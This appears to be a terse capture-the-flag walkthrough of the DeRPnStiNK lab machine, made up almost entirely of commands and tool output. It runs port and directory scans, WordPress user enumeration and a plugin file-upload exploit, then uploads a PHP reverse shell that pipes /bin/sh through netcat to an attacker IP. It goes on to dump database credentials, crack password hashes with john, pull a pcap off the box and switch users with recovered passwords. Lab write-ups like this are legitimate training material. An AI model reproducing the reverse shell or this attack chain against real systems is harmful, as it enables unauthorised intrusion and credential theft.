

## WPSCAN VANE

## PHP REVERSE SHELL

## CRACK WITH JOHN PHPASS

## WIRESHARK PCAP FILE

## SUDO -L

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.2

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 1024 12:4e:f8:6e:7b:6c:d8:7c:d8:29:77:d1:0b:eb:72 (DSA)

| 2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA)

| 256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA)

|\_ 256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca:ab:5d:2d (ED25519)

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

| http-robots.txt: 2 disallowed entries

|\_ /php/ /temporary/

|\_ http-server-header: Apache/2.4.7 (Ubuntu)

|\_ http-title: DeRPnStiNK

MAC Address: 00:0C:29:51:03:E3 (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux\_kernel:3 cpe:/o:linux:linux\_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

root@kali:/home/kali/Desktop/vulnhub/derpnstink# gobuster dir -u http://192.168.2.98/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/weblog (Status: 301)

/php (Status: 301)

/css (Status: 301)

/js (Status: 301)

/javascript (Status: 301)

/temporary (Status: 301)

/server-status (Status: 403)

view-source:http://192.168.2.98/webnotes/

Registrar Abuse Contact Email: [stinky@derpnstink.local](mailto:stinky@derpnstink.local)

view-source:http://192.168.2.98/webnotes/info.txt

<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->

<http://derpnstink.local/weblog/>

root@kali:/home/kali/Desktop/vulnhub/derpnstink# gobuster dir -u http://derpnstink.local/weblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

http://derpnstink.local/weblog/wp-admin

admin-admin

i] User(s) Identified:

[+] admin

| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)

[+] unclstinky

| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)

[!] Title: Slideshow Gallery < 1.4.7 Arbitrary File Upload

<https://www.exploit-db.com/exploits/34681>

root@kali:/home/kali/Desktop/vulnhub/derpnstink# cat reverse.php

<?php

system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.20 8082 >/tmp/f");

?>

Upload reverse.php to slideshow and start netcat listener

SHELL GAINED!!!!

www-data@DeRPNstINK:/var/www/html/weblog\$ cat wp-config.php

/\*\* MySQL database username \*/

```
define('DB_USER', 'root');
```

```
/** MySQL database password */
```

```
define('DB_PASSWORD', 'mysql');
```

```
http://derpnstink.local/php/phpmyadmin/
```

```
admin-mysql
```

```
unclestinky $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
```

```
admin $P$BgnU3VLav.RWd3rdrkfVluQr6mFvpd/
```

```
root@kali:/home/kali/Desktop/vulnhub/derpnstink# john creds.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

```
www-data@DeRPNstiNK:/home$ su stinky
```

```
Password:wedgie57
```

```
www-data@DeRPNstiNK:/var/www/html/weblog$ cd /home/
```

```
www-data@DeRPNstiNK:/home$ ls
```

```
mrderp stinky
```

```
www-data@DeRPNstiNK:/home$ su stinky
```

```
Password:
```

```
stinky@DeRPNstiNK:/home$ ls
```

```
mrderp stinky
```

```
stinky@DeRPNstiNK:/home$ cd stinky/
```

```
stinky@DeRPNstiNK:~$ ls
```

```
Desktop Documents Downloads ftp
```

```
stinky@DeRPNstiNK:~$ cd Documents/
```

```
stinky@DeRPNstiNK:~/Documents$ ls
```

```
derpissues.pcap
```

```
stinky@DeRPNstiNK:~/Documents$ python -m SimpleHTTPServer 8000
```

```
root@kali:/home/kali/Desktop/vulnhub/derpnstink# wget 10.10.10.31:8000/derpissues.pcap
```

Form item: "pass1" = "derpderpderpderpderpderpderp"

Key: pass1

Value: derpderpderpderpderpderpderp

Form item: "pass1-text" = "derpderpderpderpderpderpderp"

Form item: "pass2" = "derpderpderpderpderpderpderp"

Form item: "pw\_weak" = "on"

Form item: "role" = "administrator"

Form item: "createuser" = "Add New User"

stinky@DeRPnStiNK:/home\$ su mrderp

Password:

mrderp@DeRPnStiNK:/home\$